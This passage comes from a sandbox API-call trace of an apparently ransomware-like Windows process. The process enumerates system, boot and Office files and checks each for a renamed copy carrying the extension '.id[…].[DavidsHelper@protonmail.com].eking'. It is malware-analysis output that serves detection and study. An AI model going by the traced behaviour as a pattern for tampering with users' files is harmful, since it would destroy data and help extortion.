nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722788 [0194.397] FindClose (in: hFindFile=0x3722788 | out: hFindFile=0x3722788) returned 1 [0194.397] GetProcessHeap () returned 0x6a0000 [0194.397] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3711520 | out: hHeap=0x6a0000) returned 1 [0194.397] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Swirl\\*", lpFindFileData=0x2e6e700 | out: lpFindFileData=0x2e6e700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd54e650, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd5747b0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd5747b0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722788 [0194.398] FindClose (in: hFindFile=0x3722788 | out: hFindFile=0x3722788) returned 1 [0194.398] GetProcessHeap () returned 0x6a0000 [0194.398] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3711520 | out: hHeap=0x6a0000) returned 1 [0194.399] FindClose (in: hFindFile=0x3722748 | out: hFindFile=0x3722748) returned 1 [0194.399] GetProcessHeap () returned 0x6a0000 [0194.399] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3701518 | out: hHeap=0x6a0000) returned 1 [0194.399] FindClose (in: hFindFile=0x37226c8 | out: hFindFile=0x37226c8) returned 1 [0194.399] GetProcessHeap () returned 0x6a0000 [0194.399] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x36f0508 | out: hHeap=0x6a0000) returned 1 [0199.955] FindClose (in: hFindFile=0x37225c8 | out: hFindFile=0x37225c8) returned 1 [0199.955] GetProcessHeap () returned 0x6a0000 [0199.955] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3b10048 | out: hHeap=0x6a0000) returned 1 [0200.175] FindClose (in: hFindFile=0x3722588 | out: hFindFile=0x3722588) returned 1 [0200.175] GetProcessHeap () returned 0x6a0000 [0200.175] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3777578 | out: hHeap=0x6a0000) returned 1 [0200.175] FindClose (in: hFindFile=0x3722648 | out: hFindFile=0x3722648) returned 1 [0200.176] GetProcessHeap () returned 0x6a0000 [0200.176] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x36d04f8 | out: hHeap=0x6a0000) returned 1 [0200.177] FindClose (in: hFindFile=0x794db0 | out: hFindFile=0x794db0) returned 1 [0200.177] GetProcessHeap () returned 0x6a0000 [0200.177] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x762978 | out: hHeap=0x6a0000) returned 1 [0200.177] FindClose (in: hFindFile=0x6fefb8 | out: hFindFile=0x6fefb8) returned 1 [0200.178] GetProcessHeap () returned 0x6a0000 [0200.178] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x751968 | out: hHeap=0x6a0000) returned 1 [0200.178] SetEvent (hEvent=0x198) returned 1 [0200.178] SetEvent (hEvent=0x194) returned 1 [0200.178] SetEvent (hEvent=0x19c) returned 1 [0200.178] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0200.178] SetEvent (hEvent=0x198) returned 1 [0200.178] SetEvent (hEvent=0x194) returned 1 [0200.178] SetEvent (hEvent=0x19c) returned 1 [0200.178] WaitForMultipleObjects (nCount=0x2, lpHandles=0x2e6fb4c*=0x1a0, bWaitAll=1, dwMilliseconds=0xffffffff) returned 0x0 [0200.194] CloseHandle (hObject=0x1a4) returned 1 [0200.194] CloseHandle (hObject=0x1a0) returned 1 [0200.194] GetProcessHeap () returned 0x6a0000 [0200.194] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x50) returned 0x6bb698 [0200.194] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x770d0000 [0200.194] GetProcAddress (hModule=0x770d0000, lpProcName="Wow64RevertWow64FsRedirection") returned 0x770fd668 [0200.194] Wow64RevertWow64FsRedirection (OlValue=0x0) returned 1 [0200.194] GetProcessHeap () returned 0x6a0000 [0200.194] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6bb698 | out: hHeap=0x6a0000) returned 1 [0200.195] GetProcessHeap () returned 0x6a0000 [0200.195] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x741960 | out: hHeap=0x6a0000) returned 1 [0200.195] CloseHandle (hObject=0x194) returned 1 [0200.195] CloseHandle (hObject=0x198) returned 1 [0200.195] CloseHandle (hObject=0x19c) returned 1 [0200.195] GetProcessHeap () returned 0x6a0000 [0200.195] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x731958 | out: hHeap=0x6a0000) returned 1 [0200.196] GetProcessHeap () returned 0x6a0000 [0200.196] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6bcb00 | out: hHeap=0x6a0000) returned 1 [0200.196] GetProcessHeap () returned 0x6a0000 [0200.196] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6fef78 | out: hHeap=0x6a0000) returned 1 [0200.196] SetEvent (hEvent=0x120) returned 1 [0200.196] GetProcessHeap () returned 0x6a0000 [0200.196] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d5460 | out: hHeap=0x6a0000) returned 1 [0200.196] GetProcessHeap () returned 0x6a0000 [0200.196] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6d4e50 | out: hHeap=0x6a0000) returned 1 [0200.196] GetProcessHeap () returned 0x6a0000 [0200.196] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6bca40 | out: hHeap=0x6a0000) returned 1 Thread: id = 63 os_tid = 0x7b4 Thread: id = 64 os_tid = 0x7bc [0164.584] GetProcessHeap () returned 0x6a0000 [0164.584] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x772da0 [0164.584] GetProcessHeap () returned 0x6a0000 [0164.584] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x782da8 [0164.585] GetProcessHeap () returned 0x6a0000 [0164.585] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x28) returned 0x6db4b0 [0164.585] GetProcessHeap () returned 0x6a0000 [0164.585] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x110102) returned 0x3280020 [0164.585] GetProcessHeap () returned 0x6a0000 [0164.585] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x50) returned 0x792db0 [0164.585] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x770d0000 [0164.586] GetProcAddress (hModule=0x770d0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x770fd650 [0164.586] Wow64DisableWow64FsRedirection (in: OldValue=0x322fd2c | out: OldValue=0x322fd2c*=0x0) returned 1 [0164.586] GetProcessHeap () returned 0x6a0000 [0164.586] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x792db0 | out: hHeap=0x6a0000) returned 1 [0164.586] CreateFileW (lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0164.586] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=129) returned 1 [0164.587] CloseHandle (hObject=0x1ac) returned 1 [0164.587] GetFileAttributesW (lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini")) returned 0x26 [0164.587] GetFileAttributesW (lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini")) returned 0x26 [0164.587] GetFileAttributesW (lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\$recycle.bin\\s-1-5-21-3388679973-3930757225-3770151564-1000\\desktop.ini.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0x26 [0164.715] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\BCD.LOG2" (normalized: "c:\\boot\\bcd.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0164.965] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=0) returned 1 [0164.965] CloseHandle (hObject=0x1b0) returned 1 [0164.965] WaitForSingleObject (hHandle=0x178, dwMilliseconds=0xffffffff) returned 0x0 [0165.170] ResetEvent (hEvent=0x178) returned 1 [0165.170] SetEvent (hEvent=0x17c) returned 1 [0165.171] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\nl-NL\\bootmgr.exe.mui" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0165.171] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=90704) returned 1 [0165.171] CloseHandle (hObject=0x1c0) returned 1 [0165.171] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\nl-NL\\bootmgr.exe.mui" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui")) returned 0x20 [0165.171] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\nl-NL\\bootmgr.exe.mui" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui")) returned 0x20 [0165.172] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\nl-NL\\bootmgr.exe.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0165.172] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\nl-NL\\bootmgr.exe.mui" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.172] WaitForSingleObject (hHandle=0x178, dwMilliseconds=0xffffffff) returned 0x0 [0165.175] WaitForSingleObject (hHandle=0x178, dwMilliseconds=0xffffffff) returned 0x0 [0165.177] ResetEvent (hEvent=0x178) returned 1 [0165.177] SetEvent (hEvent=0x17c) returned 1 [0165.177] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pt-BR\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0165.177] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=90176) returned 1 [0165.177] CloseHandle (hObject=0x1c0) returned 1 [0165.177] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pt-BR\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui")) returned 0x20 [0165.177] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pt-BR\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui")) returned 0x20 [0165.177] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pt-BR\\bootmgr.exe.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0165.177] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pt-BR\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.178] WaitForSingleObject (hHandle=0x178, dwMilliseconds=0xffffffff) returned 0x0 [0165.186] WaitForSingleObject (hHandle=0x178, dwMilliseconds=0xffffffff) returned 0x0 [0165.187] ResetEvent (hEvent=0x178) returned 1 [0165.187] SetEvent (hEvent=0x17c) returned 1 [0165.187] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0165.187] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=90192) returned 1 [0165.188] CloseHandle (hObject=0x1c0) returned 1 [0165.188] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui")) returned 0x20 [0165.188] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui")) returned 0x20 [0165.188] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ru-RU\\bootmgr.exe.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0165.188] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.188] WaitForSingleObject (hHandle=0x178, dwMilliseconds=0xffffffff) returned 0x0 [0165.191] WaitForSingleObject (hHandle=0x178, dwMilliseconds=0xffffffff) returned 0x0 [0165.192] ResetEvent (hEvent=0x178) returned 1 [0165.192] SetEvent (hEvent=0x17c) returned 1 [0165.193] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\tr-TR\\bootmgr.exe.mui" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0165.193] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=87104) returned 1 [0165.193] CloseHandle (hObject=0x1c0) returned 1 [0165.193] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\tr-TR\\bootmgr.exe.mui" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui")) returned 0x20 [0165.193] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\tr-TR\\bootmgr.exe.mui" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui")) returned 0x20 [0165.193] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\tr-TR\\bootmgr.exe.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0165.193] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\tr-TR\\bootmgr.exe.mui" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.194] WaitForSingleObject (hHandle=0x178, dwMilliseconds=0xffffffff) returned 0x0 [0165.197] WaitForSingleObject (hHandle=0x178, dwMilliseconds=0xffffffff) returned 0x0 [0165.198] ResetEvent (hEvent=0x178) returned 1 [0165.198] SetEvent (hEvent=0x17c) returned 1 [0165.198] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-HK\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-hk\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0165.198] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=70224) returned 1 [0165.198] CloseHandle (hObject=0x1c0) returned 1 [0165.199] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-HK\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-hk\\bootmgr.exe.mui")) returned 0x20 [0165.199] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-HK\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-hk\\bootmgr.exe.mui")) returned 0x20 [0165.199] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-HK\\bootmgr.exe.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\boot\\zh-hk\\bootmgr.exe.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0165.199] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-HK\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-hk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.199] WaitForSingleObject (hHandle=0x178, dwMilliseconds=0xffffffff) returned 0x0 [0165.202] WaitForSingleObject (hHandle=0x178, dwMilliseconds=0xffffffff) returned 0x0 [0165.203] ResetEvent (hEvent=0x178) returned 1 [0165.203] SetEvent (hEvent=0x17c) returned 1 [0165.204] CreateFileW (lpFileName="\\\\?\\C:\\bootmgr" (normalized: "c:\\bootmgr"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0165.204] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=383786) returned 1 [0165.204] CloseHandle (hObject=0x18c) returned 1 [0165.204] GetFileAttributesW (lpFileName="\\\\?\\C:\\bootmgr" (normalized: "c:\\bootmgr")) returned 0x27 [0165.204] SetFileAttributesW (lpFileName="\\\\?\\C:\\bootmgr", dwFileAttributes=0x26) returned 0 [0165.205] GetFileAttributesW (lpFileName="\\\\?\\C:\\bootmgr" (normalized: "c:\\bootmgr")) returned 0x27 [0165.205] GetFileAttributesW (lpFileName="\\\\?\\C:\\bootmgr.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\bootmgr.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0165.205] CreateFileW (lpFileName="\\\\?\\C:\\bootmgr" (normalized: "c:\\bootmgr"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.205] SetFileAttributesW (lpFileName="\\\\?\\C:\\bootmgr", dwFileAttributes=0x27) returned 0 [0165.205] WaitForSingleObject (hHandle=0x178, dwMilliseconds=0xffffffff) returned 0x0 [0165.207] WaitForSingleObject (hHandle=0x178, dwMilliseconds=0xffffffff) returned 0x0 [0165.208] ResetEvent (hEvent=0x178) returned 1 [0165.209] SetEvent (hEvent=0x17c) returned 1 [0165.209] CreateFileW (lpFileName="\\\\?\\C:\\pagefile.sys" (normalized: "c:\\pagefile.sys"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.209] WaitForSingleObject (hHandle=0x178, dwMilliseconds=0xffffffff) returned 0x0 [0165.213] WaitForSingleObject (hHandle=0x178, dwMilliseconds=0xffffffff) returned 0x0 [0165.466] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dw20.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0165.483] GetFileSizeEx (in: hFile=0x1c4, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=994184) returned 1 [0165.483] CloseHandle (hObject=0x1c4) returned 1 [0165.483] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dw20.exe")) returned 0x20 [0165.483] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dw20.exe")) returned 0x20 [0165.483] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dw20.exe.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0165.483] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dw20.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.484] WaitForSingleObject (hHandle=0x178, dwMilliseconds=0xffffffff) returned 0x0 [0165.487] WaitForSingleObject (hHandle=0x178, dwMilliseconds=0xffffffff) returned 0x0 [0165.500] WaitForSingleObject (hHandle=0x178, dwMilliseconds=0xffffffff) returned 0x0 [0165.519] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\gifimp32.flt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0165.522] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=320384) returned 1 [0165.522] CloseHandle (hObject=0x1cc) returned 1 [0165.522] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\gifimp32.flt")) returned 0x20 [0165.522] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\gifimp32.flt")) returned 0x20 [0165.522] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\gifimp32.flt.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0165.522] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\GIFIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\gifimp32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.523] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\jpegim32.flt"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0165.524] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=241024) returned 1 [0165.524] CloseHandle (hObject=0x1cc) returned 1 [0165.524] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\jpegim32.flt")) returned 0x20 [0165.525] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\jpegim32.flt")) returned 0x20 [0165.525] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\jpegim32.flt.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0165.525] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\JPEGIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\jpegim32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.525] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.cgm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0165.529] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=1908) returned 1 [0165.529] CloseHandle (hObject=0x1cc) returned 1 [0165.529] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.cgm")) returned 0x20 [0165.529] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.cgm")) returned 0x20 [0165.529] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.cgm.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0165.529] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.CGM" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.cgm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.530] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.EPS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.eps"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0165.530] GetFileSizeEx (in: 